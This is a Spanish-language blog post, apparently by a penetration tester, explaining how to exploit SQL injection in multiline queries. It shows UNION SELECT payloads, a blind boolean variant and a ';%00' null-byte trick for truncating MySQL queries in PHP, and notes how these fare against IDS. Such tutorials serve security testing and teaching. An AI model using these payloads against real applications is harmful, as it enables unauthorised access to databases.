viernes, 9 de noviembre de 2012

SQLi con comentarios y queries multilinea

En algunas oportunidades me he encontrado con inyecciones que al parecer no aceptaban ningún tipo de comentario. Cada vez que colocaba una forma de comentario la aplicación tiraba un error y la inyección fallaba. Con el tiempo y la experiencia me di cuenta que ello se debía a que la aplicación armaba "querys multilinea" ¿Qué es eso? Bueno, simplemente es cuando la consulta SQL incluye saltos de linea y tabulaciones. Los desarrolladores hacen esto usualmente cuando la query es muy larga y quieren mantener legible el código SQL.

Por ejemplo:

SELECT
    ID,
    TITULO,
    CONTENIDO,
    AUTOR,
    FECHA
FROM
    NOTICIAS
WHERE
    AUTOR = '$autor' AND
    FECHA = CURDATE()


En el ejemplo, la variable inyectable es "$autor". Digamos que trato de explotar esto con UNION SELECT y hago algo como:

SELECT
    ID,
    TITULO,
    CONTENIDO,
    AUTOR,
    FECHA
FROM
    NOTICIAS
WHERE
    AUTOR = 'foo' AND 1=0 UNION SELECT 1,2,3,4,5 -- ' AND
    FECHA = CURDATE()


La inyección está resaltada en rojo.

Como se puede observar el comentario solo anula lo que queda de la linea (' AND) más no las lineas que siguen. Por está razón es que se produce el error y la inyección falla.

Para arreglar este problema lo primero que se nos ocurre es usar la forma de comentario multilinea "/*". Pero si lo prueban, al menos en MySQL también dará error pues será necesario que al final de toda la consulta haya un cierre de comentario "*/". Sin embargo no está por demás probarlo, quien sabe y el programador de la query dejo un comentario al final explicando que es lo que hace. Por ejemplo:

SELECT
    ID,
    TITULO,
    CONTENIDO,
    AUTOR,
    FECHA
FROM
    NOTICIAS
WHERE
    AUTOR = 'foo' AND 1=0 UNION SELECT 1,2,3,4,5 /* ' AND
    FECHA = CURDATE()

    /* query para buscar noticias por autor y fecha actual */

En este caso si que funcionaría, pero vamos... no es lo más frecuente.

Otra aproximación para resolver este problema es cambiar de técnica y usar nuestro Blind SQLi Explotaition Kung Fu... eso y mucha paciencia. Veamos:

SELECT
    ID,
    TITULO,
    CONTENIDO,
    AUTOR,
    FECHA
FROM
    NOTICIAS
WHERE
    AUTOR = 'admin' AND 1=0 OR 'foo'='' AND
    FECHA = CURDATE()


En este caso la solución va por el lado de no provocar errores de sintaxis y arreglamos la query con un OR a una condición falsa para que no afecte en nada. Luego nos queda la condición resaltada en morado para la explotación por blind.

Esta solución va a funcionar en la mayoría de casos (por no decir todos) pero el problema ahora va por el tiempo que nos va a tomar extraer los datos.

Finalmente hay otro truco que podemos utilizar para afrontar este problema. De echo es algo que se me ocurrió hoy mismo mientras jugaba con un SQLi y la razón para escribir este post.

Es simple, se trata de usar la secuencia " ;%00" al final de la inyección. El ";" indica el final de la consulta SQL y el "%00" (null byte) indica el final de la cadena, con lo que el resto de la query queda anulada sin necesidad de comentarios. Veamos:

SELECT
    ID,
    TITULO,
    CONTENIDO,
    AUTOR,
    FECHA
FROM
    NOTICIAS
WHERE
    AUTOR = 'foo' AND 1=0 UNION SELECT 1,2,3,4,5 ;%00' AND
    FECHA = CURDATE()


Esto lo he probado en PHP con MySQL y me ha funcionado correctamente.

Este truco también tiene algunos inconvenientes y es que el null byte hace saltar a muchos IDS además algunos servidores tienen PHP configurado para escapar automáticamente el null byte y reemplazarlo por "\0" con lo que ya no funcionaría.

Bien, es algo a considerar cuando se presente la ocasión, podría ahorrarnos mucho tiempo...

Saludos.

Actualización:

Me animé e hice una demo de esto en vídeo.


4 comentarios:

  1. Y ya sé porque no te vi en el curro xD

    ResponderEliminar
  2. Jajajaja...

    A ver si tu el sábado también publicas algo... o es que tu feed está fallando?

    Además el sqli con el que estaba jugando era parte de la chamba u.u

    Saludos.

    ResponderEliminar
  3. Excusas, y si el sábado publico algo no entenderías :P

    Nox.

    ResponderEliminar
  4. Cierto, mejor publícalo el domingo :)

    ResponderEliminar